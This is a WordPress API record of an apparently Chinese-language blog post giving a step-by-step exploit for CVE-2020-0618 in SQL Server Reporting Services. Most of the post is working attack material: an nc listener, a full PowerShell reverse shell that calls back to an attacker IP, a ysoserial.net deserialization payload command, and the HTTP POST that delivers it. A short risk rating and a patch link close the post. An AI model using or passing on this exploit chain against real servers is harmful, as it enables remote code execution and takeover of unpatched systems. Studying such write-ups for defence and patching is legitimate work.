{"id":242,"date":"2020-02-18T02:47:29","date_gmt":"2020-02-17T18:47:29","guid":{"rendered":"https:\/\/blog.73007300.xyz\/?p=242"},"modified":"2020-02-18T03:30:04","modified_gmt":"2020-02-17T19:30:04","slug":"cve-2020-0618-sql-server-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e5%88%a9%e7%94%a8","status":"publish","type":"post","link":"https:\/\/blog.73007300.xyz\/?p=242","title":{"rendered":"CVE-2020-0618 SQL Server \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u5229\u7528"},"content":{"rendered":"\n

\u3010\u80cc\u666f\u3011
\n2020\u5e742\u6708\uff0c\u5fae\u8f6f\u53d1\u5e03\u4e00\u7cfb\u5217\u8865\u4e01\uff0c\u5176\u4e2d\u4fee\u590d\u4e86CVE-2020-0618\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u9700\u8981\u8ba4\u8bc1\uff0c\u4f7f\u7528\u8d26\u53f7\u5bc6\u7801\u901a\u8fc7ntml\u65b9\u5f0f\u767b\u5f55sql server\u7684SQL Server Reporting Services (SSRS)\u624d\u80fd\u5229\u7528\uff0c\u8d26\u6237\u6743\u9650\u636e\u8bf4\u4efb\u4f55\u6743\u9650\u90fd\u53ef\u4ee5\uff0c\u6211\u76f4\u63a5\u7528\u7684administrator,\u5176\u4ed6\u6ca1\u6d4b\u3002\u4f7f\u7528\u8be5\u6f0f\u6d1e\u53ef\u4ee5\u83b7\u53d6\u64cd\u4f5c\u7cfb\u7edf\u6743\u9650\u3002
\n\u3010\u6f0f\u6d1e\u8be6\u60c5\u3011<\/p>\n\n\n\n

1 burp\u91cc\u5bf9sql server\u914d\u7f6entml\u8ba4\u8bc1\u3002User options -> connections -> Plateform Authentication<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

2 nc \u8bbe\u7f6e\u76d1\u542c\uff0c\u76d1\u542c80\u7aef\u53e3 \uff08\u6d4b\u8bd5 443 445 \u90fd\u53ef\u4ee5\uff09\u3002<\/p>\n\n\n\n

sudo nc -nlvp 80<\/code><\/pre>\n\n\n\n
3 \u53bb https:\/\/github.com\/pwntester\/ysoserial.net\/releases<\/a>  \u4e0b\u8f7d ysoserial.net \u5de5\u5177\u751f\u6210payload,\u5728powershell\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n\n\n\n
$command = '$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.111\",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'\n\n$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)\n\n$encodedCommand = [Convert]::ToBase64String($bytes)\n\n.\\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c \"powershell.exe -encodedCommand $encodedCommand\" -o base64 | clip<\/code><\/pre>\n\n\n\n
\u7ed3\u679c\u88ab\u590d\u5236\u5230\u526a\u8d34\u677f\u3002<\/p>\n\n\n\n
4 burp\u53d1\u5305<\/p>\n\n\n\n
POST \/ReportServer\/pages\/ReportViewer.aspx HTTP\/1.1\nHost: target\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: X\n\nNavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=\u3010\u7b2c\u4e09\u6b65\u7684\u7ed3\u679c\u590d\u5236\u5230\u8fd9\u5e76\u5220\u9664\u591a\u4f59\u7684\u6362\u884c\u3011&__VIEWSTATE=<\/code><\/pre>\n\n\n\n
\u6210\u529f\uff1a<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8fd9\u4e5f\u662f\u4e2a\u53cd\u5e8f\u5217\u5316\u7684\u6f0f\u6d1e\uff0c\u5bf9\u7528\u6237\u8f93\u5165\u6ca1\u505a\u6821\u9a8c\u5c31\u8c03\u7528  .Deserialize(value)\u51fd\u6570\u3002<\/p>\n\n\n\n
\u957f\u89c1\u8bc6\u4e86\uff0c\u4ee5\u524d\u53ea\u77e5\u9053java\u6709ysoserial\u5de5\u5177\uff0c\u6ca1\u60f3\u5230.net\u4e5f\u6709\u3002<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u3010\u98ce\u9669\u8bc4\u7ea7\u3011<\/p>\n\n\n\n
 \u4e2d\u5371<\/p>\n\n\n\n

 \u3010\u5f71\u54cd\u7248\u672c\u3011<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u3010\u4fee\u590d\u5efa\u8bae\u3011
 \u53bb https:\/\/portal.msrc.microsoft.com\/en-us\/security-guidance\/advisory\/CVE-2020-0618<\/a>  \u4e0b\u8f7d\u4fee\u590d\u8865\u4e01\u3002
 \u3010\u53c2\u8003\u94fe\u63a5\u3011
 https:\/\/www.mdsec.co.uk\/2020\/02\/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs\/<\/a>         (POC)
 https:\/\/portal.msrc.microsoft.com\/en-us\/security-guidance\/advisory\/CVE-2020-0618<\/a>     (\u8865\u4e01\u4e0b\u8f7d)<\/p>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u3010\u80cc\u666f\u3011 2020\u5e742\u6708\uff0c\u5fae\u8f6f\u53d1\u5e03\u4e00\u7cfb\u5217\u8865\u4e01\uff0c\u5176\u4e2d\u4fee\u590d\u4e86CVE-2020-0618\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u9700\u8981\u8ba4\u8bc1\uff0c\u4f7f\u7528\u8d26\u53f7\u5bc6\u7801\u901a\u8fc7ntml\u65b9\u5f0f\u767b\u5f55sql server\u7684SQL Server Reporting Services (SSRS)\u624d\u80fd\u5229\u7528\uff0c\u8d26\u6237\u6743\u9650\u636e\u8bf4\u4efb\u4f55\u6743\u9650\u90fd\u53ef\u4ee5\uff0c\u6211\u76f4\u63a5\u7528\u7684administrator,\u5176\u4ed6\u6ca1\u6d4b\u3002\u4f7f\u7528\u8be5\u6f0f\u6d1e\u53ef\u4ee5\u83b7\u53d6\u64cd\u4f5c\u7cfb\u7edf\u6743\u9650\u3002 \u3010\u6f0f\u6d1e\u8be6\u60c5\u3011 1 burp\u91cc\u5bf9sql server\u914d\u7f6entml\u8ba4\u8bc1\u3002User options -> connections -> Plateform Authentication 2 nc \u8bbe\u7f6e\u76d1\u542c\uff0c\u76d1\u542c80\u7aef\u53e3 \uff08\u6d4b\u8bd5 443 445 \u90fd\u53ef\u4ee5\uff09\u3002 3 \u53bb https:\/\/github.com\/pwntester\/ysoserial.net\/releases \u4e0b\u8f7d ysoserial.net \u5de5\u5177\u751f\u6210payload,\u5728powershell\u6267\u884c\u547d\u4ee4\uff1a \u7ed3\u679c\u88ab\u590d\u5236\u5230\u526a\u8d34\u677f\u3002 4 burp\u53d1\u5305 \u6210\u529f\uff1a \u8fd9\u4e5f\u662f\u4e2a\u53cd\u5e8f\u5217\u5316\u7684\u6f0f\u6d1e\uff0c\u5bf9\u7528\u6237\u8f93\u5165\u6ca1\u505a\u6821\u9a8c\u5c31\u8c03\u7528 .Deserialize(value)\u51fd\u6570\u3002 \u957f\u89c1\u8bc6\u4e86\uff0c\u4ee5\u524d\u53ea\u77e5\u9053java\u6709ysoserial\u5de5\u5177\uff0c\u6ca1\u60f3\u5230.net\u4e5f\u6709\u3002 \u3010\u98ce\u9669\u8bc4\u7ea7\u3011 \u4e2d\u5371 \u3010\u5f71\u54cd\u7248\u672c\u3011 \u3010\u4fee\u590d\u5efa\u8bae\u3011 \u53bb https:\/\/portal.msrc.microsoft.com\/en-us\/security-guidance\/advisory\/CVE-2020-0618 \u4e0b\u8f7d\u4fee\u590d\u8865\u4e01\u3002 \u3010\u53c2\u8003\u94fe\u63a5\u3011 https:\/\/www.mdsec.co.uk\/2020\/02\/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs\/ (POC) https:\/\/portal.msrc.microsoft.com\/en-us\/security-guidance\/advisory\/CVE-2020-0618 (\u8865\u4e01\u4e0b\u8f7d)<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9,2],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/242"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=242"}],"version-history":[{"count":2,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/242\/revisions"}],"predecessor-version":[{"id":247,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/242\/revisions\/247"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=242"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=242"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=242"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}